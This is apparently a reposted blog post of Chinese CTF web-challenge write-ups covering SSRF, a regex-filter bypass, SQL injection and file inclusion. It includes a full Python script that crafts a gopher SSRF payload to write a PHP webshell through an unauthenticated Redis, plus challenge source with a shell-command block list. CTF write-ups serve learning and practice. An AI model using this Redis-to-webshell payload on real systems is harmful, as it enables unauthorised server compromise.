文章目錄
- [GKCTF2020]EZ三劍客-EzWeb
- [FBCTF2019]RCEService
- [BSidesCF 2019]Kookie
- [CISCN2019 華北賽區 Day1 Web5]CyberPunk
- [極客大挑戰 2019]Secret File
- [ACTF2020 新生賽]Include
- [強網杯 2019]隨便注
- [SUCTF 2019]EasySQL
- [極客大挑戰 2019]Havefun
- [護網杯 2018]easy_tornado
- 參考文章
[GKCTF2020]EZ三劍客-EzWeb
剛剛打開網頁,通過隱藏引數發現個這個,啥東西???然后看了下wp發現是ssrf,好吧我沒啥經驗

繞過了file協議,少了file://的兩個//


之后看了下wp說,是要打內網某主機,遂掃描d段得

埠是6379
利用gopher協議打redis
'''
之后訪問ip/shell.php即可
'''
import urllib
protocol = "gopher://"
ip = "173.228.247.12" # 運行有redis的主機ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

[FBCTF2019]RCEService
題目原始碼
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
preg_match只會去匹配第一行,所以這里可以用多行進行繞過
原始碼中可以看到putenv(‘PATH=/home/rceservice/jail’)已經修改了環境變數,我們只能用絕對路徑來呼叫系統命令
cat命令在/bin中保存
所以構造出payload ,%0A是換行符

[BSidesCF 2019]Kookie
比較簡單,但是我有點傻剛剛沒想到這個

[CISCN2019 華北賽區 Day1 Web5]CyberPunk
啊這這道題一點都不會,看了下師傅的WP
https://www.cnblogs.com/kevinbruce656/p/11347127.html
[極客大挑戰 2019]Secret File
跟著題目提示一步一步來,太簡單了,沒啥意思

[ACTF2020 新生賽]Include
過于簡單了,復習一下filter協議的使用

[強網杯 2019]隨便注
復習了下預處理陳述句的使用吧還是很舒服哈哈哈,更改表名那個不太喜歡

[SUCTF 2019]EasySQL
還是一個堆疊注入

啊這

常規注入也不行我哭了啊啊啊,試一下預處理陳述句吶,再次失敗

在oracle 預設支持 通過 ‘ || ’ 來實作字串拼接,但在mysql 缺省不支持,需要調整mysql 的sql_mode
模式:pipes_as_concat 來實作oracle 的一些功能
[極客大挑戰 2019]Havefun
easy

[護網杯 2018]easy_tornado
唯一需要注意的一點就是md5生成演算法得用python,因為tornado模板是python的

參考文章
PHP利用PCRE回溯次數限制繞過某些安全限制
轉載請註明出處,本文鏈接:https://www.uj5u.com/yidong/152238.html
標籤:其他
